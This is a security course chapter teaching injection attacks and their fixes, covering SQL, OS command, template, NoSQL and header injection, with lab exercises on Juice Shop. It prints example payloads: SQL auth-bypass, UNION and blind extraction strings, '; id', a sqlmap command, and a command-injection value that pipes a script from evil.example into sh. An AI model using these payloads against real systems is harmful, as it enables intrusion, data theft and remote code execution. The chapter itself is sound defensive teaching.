Chapter 42 — Injection: when data becomes code
In one sentence
Injection happens when untrusted input is concatenated into a string that an interpreter (SQL, shell, LDAP, a template engine) then parses, so the attacker's data is executed as commands — and the universal fix is to keep data and code in separate channels.
The one idea behind every injection
VULNERABLE: build a command/query by STRING CONCATENATION with input.
query = "SELECT * FROM users WHERE name = '" + name + "'"
^^^^ attacker controls this
name = "'; DROP TABLE users; --"
-> SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
^^^^^^^^^^^^^^^^^ now it's CODE
SAFE: send code and data on SEPARATE channels. The interpreter gets the
query STRUCTURE once, and the data as bound parameters it never parses.
query = "SELECT * FROM users WHERE name = ?"
execute(query, [name]) <- 'name' can never change the structure
This principle — parameterise; never concatenate — covers SQL, NoSQL, OS commands, LDAP, XPath, and more.
SQL injection
IMPACT: read/modify/delete any data, bypass auth, sometimes RCE
(xp_cmdshell, COPY TO PROGRAM, UDFs) and file access.
AUTH BYPASS example:
input password: ' OR '1'='1
SELECT id FROM users WHERE user='admin' AND pass='' OR '1'='1'
-> returns a row -> "logged in"
UNION-based extraction:
?id=1 UNION SELECT username, password, NULL FROM users--
BLIND (no output, but behaviour differs):
?id=1 AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='a'
-> page loads / doesn't -> extract one char at a time
TIME-based blind (no visible difference at all):
?id=1; IF (condition) WAITFOR DELAY '0:0:5'--
-> response is slow when the condition is true
The fix — in order of preference:
1. PARAMETERISED QUERIES / prepared statements. Always. Every language
has them. db.execute("... WHERE id = ?", [id])
2. Use an ORM / query builder correctly (they parameterise) -- but beware
raw-query escape hatches and dynamic column/table names.
3. For things that CAN'T be parameterised (identifiers, ORDER BY column,
LIMIT in some drivers): validate against a strict ALLOWLIST of known
values. Never escape-and-concatenate as your primary defence.
4. Least-privilege DB accounts (the app's user can't DROP, can't read
other schemas, can't write files).
5. WAF as defence in depth, never as the fix.
OS command injection
VULNERABLE:
os.system("ping -c 1 " + host)
host = "8.8.8.8; curl evil.example/x.sh | sh"
FIX: don't call a shell. Use the array form of exec, which passes
arguments directly to the program with NO shell parsing:
subprocess.run(["ping", "-c", "1", host]) # Python
execFile("ping", ["-c","1", host]) # Node
And still validate `host` (e.g. it must be a valid hostname/IP).
NEVER: shell=True with interpolated input; backticks; eval.
The other injection contexts
LDAP injection filter = "(uid=" + user + ")" -> use parameterised
LDAP APIs / escape per RFC 4515 with a vetted library.
XPath injection same shape -> parameterised XPath / precompiled.
Template injection (SSTI) user input rendered AS a template
({{7*7}} -> 49) -> can be RCE. Never put user input
into template SOURCE; pass it as DATA to a sandboxed
engine.
NoSQL injection Mongo: {"user": user, "pass": pass} where pass is the
object {"$ne": null} -> matches anything. Cast/validate
types; reject objects where you expect strings.
Header / CRLF injection input with \r\n into a response header ->
response splitting, cache poisoning. Frameworks mostly
block this now; still validate.
Log injection newlines/control chars into logs -> forged entries.
(Part 11.) Encode on write.
ORM/GraphQL raw fragments, batching abuse, alias-based DoS.
Practice (40 min) — in the lab only
Use OWASP Juice Shop (Ch 0.4) or PortSwigger Academy labs.
1. SQL injection login bypass:
- Log in as admin using ' OR 1=1-- in the email field. Observe the
query shape from the error, then craft the payload.
2. UNION extraction:
- Find the products search endpoint. Determine the column count
(ORDER BY n / UNION SELECT NULL,NULL,...). Extract the users table.
3. Now FIX a copy locally:
- Grab a deliberately-vulnerable mini-app (or write 20 lines of
Flask/Express with a concatenated query). Confirm the injection.
- Switch to a parameterised query. Confirm the SAME payload is now
inert (it's treated as a literal string to match).
4. Command injection:
- In a lab app with a "ping" or "nslookup" feature, inject `; id`.
- Fix it with the array/exec form + hostname validation. Re-test.
5. Try `sqlmap` against your OWN lab target only:
sqlmap -u 'http://localhost:3000/rest/products/search?q=x' --batch --dbs
Read what it does; understand each stage. Never point it off your lab.
Common confusions
- "I escape quotes, so I'm safe." Escaping is fragile — numeric contexts, second-order injection (stored then used later), different quoting rules, charset tricks. Parameterise.
- "An ORM means no SQL injection." Only for parameterised paths.
raw(),.extra(), string-builtWHERE, and dynamicORDER BYreintroduce it. - "The WAF blocks SQLi." WAFs are bypassable (comments, encoding, casing, novel gadgets). Defence in depth, not the fix.
- "Command injection needs a shell metacharacter." Argument injection (e.g. a
filename starting with
-) can be dangerous even without a shell. Validate values and use--end-of-options where supported. - "Stored data is trusted." Second-order injection: input saved safely, then later concatenated into a query. Parameterise every query.
Check yourself
- State the single principle that defeats every injection class.
- Show a parameterised version of
"...WHERE id = '" + id + "'". - What can't be parameterised, and what do you do instead?
- How do you run an external command safely from code?
- What is second-order (stored) injection?
Further reading
- Cheat sheets: OWASP "SQL Injection Prevention", "Injection Prevention", "OS Command Injection Defense", "Query Parameterization" — concise and authoritative.
- Course: PortSwigger Web Security Academy — the SQL injection track is the best free hands-on resource anywhere.
- Book: The Web Application Hacker's Handbook (2nd ed.) — dated on specifics, excellent on method. Chapters 9–10.
- Tool docs:
sqlmapwiki (lab use), and your language's DB-API parameterisation docs.